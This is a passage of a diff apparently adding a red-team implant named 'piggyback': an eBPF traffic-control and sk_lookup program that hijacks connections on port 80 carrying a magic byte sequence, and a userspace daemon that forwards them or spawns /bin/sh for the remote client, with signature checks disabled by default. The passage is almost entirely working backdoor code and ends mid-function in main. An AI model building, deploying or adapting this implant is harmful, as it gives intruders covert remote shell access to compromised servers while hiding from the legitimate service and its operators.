__uint(type, BPF_MAP_TYPE_LRU_HASH);
|
||||||
|
__uint(max_entries, 4096);
|
||||||
|
__type(key, struct conn_key);
|
||||||
|
__type(value, __u8);
|
||||||
|
} pending SEC(".maps");
|
||||||
|
|
||||||
|
// Daemon's SO_REUSEPORT socket — populated by userspace after bind
|
||||||
|
struct {
|
||||||
|
__uint(type, BPF_MAP_TYPE_SOCKMAP);
|
||||||
|
__uint(max_entries, 1);
|
||||||
|
__type(key, __u32);
|
||||||
|
__type(value, __u32);
|
||||||
|
} daemon_sock SEC(".maps");
|
||||||
|
|
||||||
|
struct {
|
||||||
|
__uint(type, BPF_MAP_TYPE_ARRAY);
|
||||||
|
__uint(max_entries, 4);
|
||||||
|
__type(key, __u32);
|
||||||
|
__type(value, __u64);
|
||||||
|
} stats SEC(".maps");
|
||||||
|
|
||||||
|
#define STAT_TOTAL 0
|
||||||
|
#define STAT_MAGIC 1
|
||||||
|
#define STAT_PASSED 2
|
||||||
|
#define STAT_PARTIAL 3
|
||||||
|
|
||||||
|
static __always_inline void inc_stat(__u32 idx) {
|
||||||
|
__u64 *v = bpf_map_lookup_elem(&stats, &idx);
|
||||||
|
if (v) __sync_fetch_and_add(v, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Helpers ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static __always_inline int port_watched(__u16 port_be) {
|
||||||
|
__u16 ports[] = PORTS;
|
||||||
|
__u16 p = bpf_ntohs(port_be);
|
||||||
|
if (PORTS_N > 0 && p == ports[0]) return 1;
|
||||||
|
if (PORTS_N > 1 && p == ports[1]) return 1;
|
||||||
|
if (PORTS_N > 2 && p == ports[2]) return 1;
|
||||||
|
if (PORTS_N > 3 && p == ports[3]) return 1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static __always_inline __u8 magic_at(__u8 idx) {
|
||||||
|
const __u8 magic[] = MAGIC;
|
||||||
|
if (idx < MAGIC_LEN) return magic[idx];
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── TC ingress ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
SEC("tc")
|
||||||
|
int piggyback_ingress(struct __sk_buff *skb) {
|
||||||
|
void *data = (void *)(long)skb->data;
|
||||||
|
void *data_end = (void *)(long)skb->data_end;
|
||||||
|
|
||||||
|
inc_stat(STAT_TOTAL);
|
||||||
|
|
||||||
|
struct ethhdr *eth = data;
|
||||||
|
if ((void *)(eth + 1) > data_end) return TC_ACT_OK;
|
||||||
|
|
||||||
|
__u8 is_ipv6 = 0;
|
||||||
|
__u8 src_ip[16] = {};
|
||||||
|
void *transport;
|
||||||
|
|
||||||
|
if (eth->h_proto == bpf_htons(ETH_P_IP)) {
|
||||||
|
struct iphdr *ip = (void *)(eth + 1);
|
||||||
|
if ((void *)(ip + 1) > data_end) return TC_ACT_OK;
|
||||||
|
if (ip->protocol != IPPROTO_TCP) return TC_ACT_OK;
|
||||||
|
__builtin_memcpy(src_ip, &ip->saddr, 4);
|
||||||
|
transport = (void *)ip + ip->ihl * 4;
|
||||||
|
|
||||||
|
} else if (eth->h_proto == bpf_htons(ETH_P_IPV6)) {
|
||||||
|
struct ipv6hdr *ip6 = (void *)(eth + 1);
|
||||||
|
if ((void *)(ip6 + 1) > data_end) return TC_ACT_OK;
|
||||||
|
if (ip6->nexthdr != IPPROTO_TCP) return TC_ACT_OK;
|
||||||
|
__builtin_memcpy(src_ip, &ip6->saddr, 16);
|
||||||
|
is_ipv6 = 1;
|
||||||
|
transport = (void *)(ip6 + 1);
|
||||||
|
} else {
|
||||||
|
return TC_ACT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct tcphdr *tcp = transport;
|
||||||
|
if ((void *)(tcp + 1) > data_end) return TC_ACT_OK;
|
||||||
|
if (!port_watched(tcp->dest)) return TC_ACT_OK;
|
||||||
|
|
||||||
|
__u32 tcp_hlen = tcp->doff * 4;
|
||||||
|
__u8 *payload = (__u8 *)tcp + tcp_hlen;
|
||||||
|
if ((void *)payload > data_end) return TC_ACT_OK;
|
||||||
|
__u32 payload_len = (__u8 *)data_end - payload;
|
||||||
|
|
||||||
|
struct conn_key ck = {};
|
||||||
|
__builtin_memcpy(ck.src_ip, src_ip, 16);
|
||||||
|
ck.src_port = tcp->source;
|
||||||
|
ck.is_ipv6 = is_ipv6;
|
||||||
|
|
||||||
|
// ── Multi-packet state machine ────────────────────────────────────────────
|
||||||
|
__u8 *state_p = bpf_map_lookup_elem(&conn_state, &ck);
|
||||||
|
__u8 matched = state_p ? *state_p : 0;
|
||||||
|
|
||||||
|
// Unrolled byte walk — verifier requires bounded, known iterations
|
||||||
|
#define TRY_BYTE(i) \
|
||||||
|
if ((void *)(payload + (i) + 1) <= data_end) { \
|
||||||
|
__u8 b = payload[(i)]; \
|
||||||
|
if (b == magic_at(matched)) { \
|
||||||
|
matched++; \
|
||||||
|
} else { \
|
||||||
|
matched = (b == magic_at(0)) ? 1 : 0; \
|
||||||
|
} \
|
||||||
|
}
|
||||||
|
|
||||||
|
TRY_BYTE(0)
|
||||||
|
TRY_BYTE(1)
|
||||||
|
TRY_BYTE(2)
|
||||||
|
TRY_BYTE(3)
|
||||||
|
TRY_BYTE(4)
|
||||||
|
TRY_BYTE(5)
|
||||||
|
|
||||||
|
#undef TRY_BYTE
|
||||||
|
|
||||||
|
if (matched < MAGIC_LEN) {
|
||||||
|
if (matched > 0) {
|
||||||
|
bpf_map_update_elem(&conn_state, &ck, &matched, BPF_ANY);
|
||||||
|
inc_stat(STAT_PARTIAL);
|
||||||
|
} else {
|
||||||
|
bpf_map_delete_elem(&conn_state, &ck);
|
||||||
|
}
|
||||||
|
goto pass;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Magic matched ─────────────────────────────────────────────────────────
|
||||||
|
bpf_map_delete_elem(&conn_state, &ck);
|
||||||
|
|
||||||
|
{
|
||||||
|
struct event *e = bpf_ringbuf_reserve(&events, sizeof(*e), 0);
|
||||||
|
if (!e) return TC_ACT_OK; // ring buffer full — pass, don't drop silently
|
||||||
|
|
||||||
|
__builtin_memcpy(e->src_ip, src_ip, 16);
|
||||||
|
e->src_port = tcp->source;
|
||||||
|
e->is_ipv6 = is_ipv6;
|
||||||
|
e->flags = ((__u8 *)tcp)[13];
|
||||||
|
e->seq = tcp->seq;
|
||||||
|
e->ack_seq = tcp->ack_seq;
|
||||||
|
e->header_valid = 0;
|
||||||
|
|
||||||
|
// Capture signed header bytes after magic for userspace Ed25519 verify
|
||||||
|
if (payload_len >= MAGIC_LEN + HEADER_LEN) {
|
||||||
|
__u32 hdr_offset = (__u8 *)payload - (__u8 *)data + MAGIC_LEN;
|
||||||
|
if (bpf_skb_load_bytes(skb, hdr_offset, e->header, HEADER_LEN) == 0)
|
||||||
|
e->header_valid = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mark connection pending for sk_lookup steering
|
||||||
|
__u8 one = 1;
|
||||||
|
bpf_map_update_elem(&pending, &ck, &one, BPF_ANY);
|
||||||
|
|
||||||
|
bpf_ringbuf_submit(e, 0);
|
||||||
|
inc_stat(STAT_MAGIC);
|
||||||
|
return TC_ACT_STOLEN;
|
||||||
|
}
|
||||||
|
|
||||||
|
pass:
|
||||||
|
inc_stat(STAT_PASSED);
|
||||||
|
return TC_ACT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── sk_lookup ─────────────────────────────────────────────────────────────────
|
||||||
|
//
|
||||||
|
// Runs when kernel looks up a socket for an incoming connection.
|
||||||
|
// If the connection is in pending map (flagged by TC), redirect to daemon socket.
|
||||||
|
|
||||||
|
SEC("sk_lookup")
|
||||||
|
int piggyback_lookup(struct bpf_sk_lookup *ctx) {
|
||||||
|
struct conn_key ck = {};
|
||||||
|
|
||||||
|
if (ctx->family == AF_INET) {
|
||||||
|
__builtin_memcpy(ck.src_ip, &ctx->remote_ip4, 4);
|
||||||
|
ck.is_ipv6 = 0;
|
||||||
|
} else if (ctx->family == AF_INET6) {
|
||||||
|
__builtin_memcpy(ck.src_ip, ctx->remote_ip6, 16);
|
||||||
|
ck.is_ipv6 = 1;
|
||||||
|
} else {
|
||||||
|
return SK_PASS;
|
||||||
|
}
|
||||||
|
|
||||||
|
// remote_port in bpf_sk_lookup is __be16 (network byte order)
|
||||||
|
ck.src_port = ctx->remote_port;
|
||||||
|
|
||||||
|
__u8 *p = bpf_map_lookup_elem(&pending, &ck);
|
||||||
|
if (!p) return SK_PASS;
|
||||||
|
|
||||||
|
__u32 key = 0;
|
||||||
|
struct bpf_sock *sk = bpf_map_lookup_elem(&daemon_sock, &key);
|
||||||
|
if (!sk) return SK_PASS;
|
||||||
|
|
||||||
|
long ret = bpf_sk_assign(ctx, sk, 0);
|
||||||
|
bpf_sk_release(sk);
|
||||||
|
|
||||||
|
if (ret == 0)
|
||||||
|
bpf_map_delete_elem(&pending, &ck);
|
||||||
|
|
||||||
|
// SK_PASS after bpf_sk_assign means "use the assigned socket"
|
||||||
|
return SK_PASS;
|
||||||
|
}
|
||||||
|
|
||||||
|
char LICENSE[] SEC("license") = "GPL";
|
||||||
539
piggyback.c
Normal file
539
piggyback.c
Normal file
@ -0,0 +1,539 @@
|
|||||||
|
// piggyback.c — userspace daemon
|
||||||
|
//
|
||||||
|
// Loads TC eBPF + sk_lookup programs, registers daemon socket,
|
||||||
|
// polls ring buffer, verifies Ed25519 signatures, dispatches connections.
|
||||||
|
//
|
||||||
|
// All configuration is via compile-time constants below.
|
||||||
|
// Build: make Run: sudo ./piggyback
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <inttypes.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/epoll.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <net/if.h>
|
||||||
|
|
||||||
|
#include <bpf/libbpf.h>
|
||||||
|
#include <bpf/bpf.h>
|
||||||
|
#include <sodium.h>
|
||||||
|
|
||||||
|
// ── Engagement Configuration ──────────────────────────────────────────────────
|
||||||
|
// Edit these before compiling. Run `make keygen` to generate a keypair.
|
||||||
|
|
||||||
|
#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0"
|
||||||
|
#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c
|
||||||
|
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
|
||||||
|
#define FWD_PORT 22 // default forward target port
|
||||||
|
#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention
|
||||||
|
#define VERBOSE 0 // 1 = debug logging
|
||||||
|
|
||||||
|
// Ed25519 auth.
|
||||||
|
// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`.
|
||||||
|
// Leave AUTH_ENABLED=0 to accept any magic packet without signature check.
|
||||||
|
#define AUTH_ENABLED 0
|
||||||
|
#define TRUSTED_PUBKEY { \
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Shared constants (must match piggyback.bpf.c) ────────────────────────────
|
||||||
|
|
||||||
|
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
|
||||||
|
#define MAGIC_LEN 6
|
||||||
|
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
|
||||||
|
|
||||||
|
#define HDR_TIMESTAMP_OFF 0
|
||||||
|
#define HDR_ACTION_OFF 8
|
||||||
|
#define HDR_TARGET_IP_OFF 9
|
||||||
|
#define HDR_TARGET_PORT_OFF 13
|
||||||
|
#define HDR_SIG_OFF 16
|
||||||
|
#define HDR_MSG_LEN 20 // 16 header bytes + 4 server IP bytes
|
||||||
|
|
||||||
|
#define ACTION_FORWARD 0x01
|
||||||
|
#define ACTION_SHELL 0x02
|
||||||
|
|
||||||
|
#define REPLAY_RING_SIZE 256
|
||||||
|
#define TIMESTAMP_WINDOW 60 // seconds
|
||||||
|
|
||||||
|
// ── Event struct (must match piggyback.bpf.c) ─────────────────────────────────
|
||||||
|
|
||||||
|
struct event {
|
||||||
|
uint8_t src_ip[16];
|
||||||
|
uint16_t src_port;
|
||||||
|
uint8_t is_ipv6;
|
||||||
|
uint8_t flags;
|
||||||
|
uint32_t seq;
|
||||||
|
uint32_t ack_seq;
|
||||||
|
uint8_t header[HEADER_LEN];
|
||||||
|
uint8_t header_valid;
|
||||||
|
};
|
||||||
|
|
||||||
|
// ── Globals ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY;
|
||||||
|
static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup
|
||||||
|
|
||||||
|
static volatile int running = 1;
|
||||||
|
static unsigned int ifindex = 0;
|
||||||
|
static char iface_name[64];
|
||||||
|
static struct bpf_object *obj = NULL;
|
||||||
|
static int accept_fd = -1;
|
||||||
|
|
||||||
|
// ── Interface auto-detection ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static int get_default_iface(char *buf, size_t len) {
|
||||||
|
FILE *f = fopen("/proc/net/route", "r");
|
||||||
|
if (!f) return -1;
|
||||||
|
char line[256];
|
||||||
|
fgets(line, sizeof(line), f); // skip header
|
||||||
|
while (fgets(line, sizeof(line), f)) {
|
||||||
|
char iface[64];
|
||||||
|
unsigned int dest;
|
||||||
|
if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) {
|
||||||
|
strncpy(buf, iface, len-1);
|
||||||
|
fclose(f);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Logging ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
|
||||||
|
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
|
||||||
|
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
|
||||||
|
|
||||||
|
// ── Replay ring ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
struct replay_entry {
|
||||||
|
uint32_t src_ip;
|
||||||
|
uint64_t timestamp;
|
||||||
|
uint8_t sig_prefix[8];
|
||||||
|
};
|
||||||
|
|
||||||
|
static struct replay_entry replay_ring[REPLAY_RING_SIZE];
|
||||||
|
static int replay_head = 0;
|
||||||
|
static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||||
|
|
||||||
|
static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *sig) {
|
||||||
|
pthread_mutex_lock(&replay_lock);
|
||||||
|
for (int i = 0; i < REPLAY_RING_SIZE; i++) {
|
||||||
|
struct replay_entry *e = &replay_ring[i];
|
||||||
|
if (e->src_ip == src_ip && e->timestamp == ts &&
|
||||||
|
memcmp(e->sig_prefix, sig, 8) == 0) {
|
||||||
|
pthread_mutex_unlock(&replay_lock);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE];
|
||||||
|
slot->src_ip = src_ip;
|
||||||
|
slot->timestamp = ts;
|
||||||
|
memcpy(slot->sig_prefix, sig, 8);
|
||||||
|
replay_head++;
|
||||||
|
pthread_mutex_unlock(&replay_lock);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Splice loop ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static void splice_loop(int a, int b) {
|
||||||
|
int epfd = epoll_create1(0);
|
||||||
|
if (epfd < 0) return;
|
||||||
|
|
||||||
|
struct epoll_event ev, evs[2];
|
||||||
|
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
|
||||||
|
ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev);
|
||||||
|
ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev);
|
||||||
|
|
||||||
|
char buf[65536];
|
||||||
|
while (running) {
|
||||||
|
int n = epoll_wait(epfd, evs, 2, 1000);
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
|
||||||
|
int src = evs[i].data.fd;
|
||||||
|
int dst = (src == a) ? b : a;
|
||||||
|
ssize_t r = read(src, buf, sizeof(buf));
|
||||||
|
if (r <= 0) goto done;
|
||||||
|
ssize_t w = 0;
|
||||||
|
while (w < r) {
|
||||||
|
ssize_t s = write(dst, buf + w, r - w);
|
||||||
|
if (s <= 0) goto done;
|
||||||
|
w += s;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
done:
|
||||||
|
close(epfd);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Forward action ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static void do_forward(int client_fd, const char *host, int port) {
|
||||||
|
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
|
||||||
|
struct addrinfo *res;
|
||||||
|
char port_str[8];
|
||||||
|
snprintf(port_str, sizeof(port_str), "%d", port);
|
||||||
|
|
||||||
|
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
|
||||||
|
log_err("getaddrinfo(%s:%d) failed", host, port);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0);
|
||||||
|
if (fwd_fd < 0) { freeaddrinfo(res); return; }
|
||||||
|
|
||||||
|
if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) {
|
||||||
|
log_err("connect to %s:%d: %s", host, port, strerror(errno));
|
||||||
|
close(fwd_fd);
|
||||||
|
freeaddrinfo(res);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
freeaddrinfo(res);
|
||||||
|
|
||||||
|
log_dbg("forwarding to %s:%d", host, port);
|
||||||
|
splice_loop(client_fd, fwd_fd);
|
||||||
|
close(fwd_fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Shell action ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static void do_shell(int client_fd, const char *cmd) {
|
||||||
|
int in_pipe[2], out_pipe[2];
|
||||||
|
if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return;
|
||||||
|
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid < 0) return;
|
||||||
|
|
||||||
|
if (pid == 0) {
|
||||||
|
close(in_pipe[1]);
|
||||||
|
close(out_pipe[0]);
|
||||||
|
dup2(in_pipe[0], STDIN_FILENO);
|
||||||
|
dup2(out_pipe[1], STDOUT_FILENO);
|
||||||
|
dup2(out_pipe[1], STDERR_FILENO);
|
||||||
|
close(in_pipe[0]);
|
||||||
|
close(out_pipe[1]);
|
||||||
|
execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(in_pipe[0]);
|
||||||
|
close(out_pipe[1]);
|
||||||
|
fcntl(in_pipe[1], F_SETFL, O_NONBLOCK);
|
||||||
|
fcntl(out_pipe[0], F_SETFL, O_NONBLOCK);
|
||||||
|
fcntl(client_fd, F_SETFL, O_NONBLOCK);
|
||||||
|
|
||||||
|
int epfd = epoll_create1(0);
|
||||||
|
struct epoll_event ev, evs[2];
|
||||||
|
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
|
||||||
|
ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
|
||||||
|
ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev);
|
||||||
|
|
||||||
|
char buf[65536];
|
||||||
|
while (running) {
|
||||||
|
int n = epoll_wait(epfd, evs, 2, 1000);
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done;
|
||||||
|
int fd = evs[i].data.fd;
|
||||||
|
if (fd == out_pipe[0]) {
|
||||||
|
ssize_t r = read(out_pipe[0], buf, sizeof(buf));
|
||||||
|
if (r <= 0) goto shell_done;
|
||||||
|
write(client_fd, buf, r);
|
||||||
|
} else {
|
||||||
|
ssize_t r = read(client_fd, buf, sizeof(buf));
|
||||||
|
if (r <= 0) goto shell_done;
|
||||||
|
write(in_pipe[1], buf, r);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
shell_done:
|
||||||
|
close(epfd);
|
||||||
|
close(in_pipe[1]);
|
||||||
|
close(out_pipe[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Dispatch thread ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
struct dispatch_args {
|
||||||
|
int client_fd;
|
||||||
|
uint8_t header[HEADER_LEN];
|
||||||
|
uint8_t header_valid;
|
||||||
|
};
|
||||||
|
|
||||||
|
static void *dispatch_thread(void *arg) {
|
||||||
|
struct dispatch_args *a = arg;
|
||||||
|
int client_fd = a->client_fd;
|
||||||
|
|
||||||
|
uint8_t action = ACTION_FORWARD;
|
||||||
|
char fwd_host[64];
|
||||||
|
int fwd_port;
|
||||||
|
strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1);
|
||||||
|
fwd_port = FWD_PORT;
|
||||||
|
|
||||||
|
if (AUTH_ENABLED && a->header_valid) {
|
||||||
|
uint8_t *hdr = a->header;
|
||||||
|
|
||||||
|
uint64_t ts = 0;
|
||||||
|
for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i];
|
||||||
|
uint64_t now = (uint64_t)time(NULL);
|
||||||
|
if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) {
|
||||||
|
log_err("timestamp out of window, rejecting");
|
||||||
|
goto reject;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint8_t msg[HDR_MSG_LEN];
|
||||||
|
memcpy(msg, hdr, 16);
|
||||||
|
memcpy(msg + 16, server_ip_bytes, 4);
|
||||||
|
|
||||||
|
if (crypto_sign_ed25519_verify_detached(
|
||||||
|
hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
|
||||||
|
log_err("Ed25519 signature invalid, rejecting");
|
||||||
|
goto reject;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t src_ip32;
|
||||||
|
memcpy(&src_ip32, server_ip_bytes, 4);
|
||||||
|
if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) {
|
||||||
|
log_err("replay detected, rejecting");
|
||||||
|
goto reject;
|
||||||
|
}
|
||||||
|
|
||||||
|
action = hdr[HDR_ACTION_OFF];
|
||||||
|
if (action == ACTION_FORWARD) {
|
||||||
|
uint8_t *ip = hdr + HDR_TARGET_IP_OFF;
|
||||||
|
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d",
|
||||||
|
ip[0], ip[1], ip[2], ip[3]);
|
||||||
|
fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
|
||||||
|
}
|
||||||
|
log_dbg("auth OK: action=0x%02x", action);
|
||||||
|
|
||||||
|
} else if (AUTH_ENABLED && !a->header_valid) {
|
||||||
|
log_err("auth required but no valid header, rejecting");
|
||||||
|
goto reject;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (action == ACTION_FORWARD) {
|
||||||
|
log_info("forward → %s:%d", fwd_host, fwd_port);
|
||||||
|
do_forward(client_fd, fwd_host, fwd_port);
|
||||||
|
} else if (action == ACTION_SHELL) {
|
||||||
|
char cmd[1024] = "bash";
|
||||||
|
ssize_t r = read(client_fd, cmd, sizeof(cmd)-1);
|
||||||
|
if (r > 0) cmd[r] = '\0';
|
||||||
|
log_info("shell: %s", cmd);
|
||||||
|
do_shell(client_fd, cmd);
|
||||||
|
} else {
|
||||||
|
log_err("unknown action 0x%02x, rejecting", action);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(client_fd);
|
||||||
|
free(a);
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
reject:
|
||||||
|
close(client_fd);
|
||||||
|
free(a);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Ring buffer event handler ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) {
|
||||||
|
struct event *e = data;
|
||||||
|
|
||||||
|
char src_str[INET6_ADDRSTRLEN];
|
||||||
|
if (e->is_ipv6)
|
||||||
|
inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
|
||||||
|
else
|
||||||
|
inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
|
||||||
|
|
||||||
|
log_info("magic from %s:%d (flags=0x%02x header_valid=%d)",
|
||||||
|
src_str, ntohs(e->src_port), e->flags, e->header_valid);
|
||||||
|
|
||||||
|
struct sockaddr_storage peer;
|
||||||
|
socklen_t plen = sizeof(peer);
|
||||||
|
int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen);
|
||||||
|
if (client_fd < 0) {
|
||||||
|
log_err("accept: %s", strerror(errno));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct dispatch_args *a = malloc(sizeof(*a));
|
||||||
|
if (!a) { close(client_fd); return 0; }
|
||||||
|
a->client_fd = client_fd;
|
||||||
|
a->header_valid = e->header_valid;
|
||||||
|
memcpy(a->header, e->header, HEADER_LEN);
|
||||||
|
|
||||||
|
pthread_t tid;
|
||||||
|
pthread_create(&tid, NULL, dispatch_thread, a);
|
||||||
|
pthread_detach(tid);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── TC attachment ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static int attach_tc(struct bpf_program *prog) {
|
||||||
|
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
|
||||||
|
.ifindex = ifindex,
|
||||||
|
.attach_point = BPF_TC_INGRESS,
|
||||||
|
);
|
||||||
|
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts,
|
||||||
|
.handle = 1,
|
||||||
|
.priority = 1,
|
||||||
|
.prog_fd = bpf_program__fd(prog),
|
||||||
|
);
|
||||||
|
bpf_tc_hook_create(&hook);
|
||||||
|
if (bpf_tc_attach(&hook, &opts) < 0) {
|
||||||
|
log_err("bpf_tc_attach: %s", strerror(errno));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
log_info("TC attached to %s ingress", iface_name);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void detach_tc(void) {
|
||||||
|
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
|
||||||
|
.ifindex = ifindex,
|
||||||
|
.attach_point = BPF_TC_INGRESS,
|
||||||
|
);
|
||||||
|
bpf_tc_hook_destroy(&hook);
|
||||||
|
log_info("TC detached");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── sk_lookup attachment ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static int sklookup_link_fd = -1;
|
||||||
|
|
||||||
|
static int attach_sklookup(struct bpf_program *prog) {
|
||||||
|
int netns_fd = open("/proc/self/ns/net", O_RDONLY);
|
||||||
|
if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; }
|
||||||
|
struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd);
|
||||||
|
close(netns_fd);
|
||||||
|
if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; }
|
||||||
|
sklookup_link_fd = bpf_link__fd(link);
|
||||||
|
log_info("sk_lookup attached to netns");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Stats ─────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static void dump_stats(void) {
|
||||||
|
int map_fd = bpf_object__find_map_fd_by_name(obj, "stats");
|
||||||
|
if (map_fd < 0) return;
|
||||||
|
uint64_t v; uint32_t k;
|
||||||
|
k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v);
|
||||||
|
k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v);
|
||||||
|
k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v);
|
||||||
|
k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Signal ────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
static void on_signal(int sig __attribute__((unused))) { running = 0; }
|
||||||
|
|
||||||
|
// ── Main ──────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; }
|
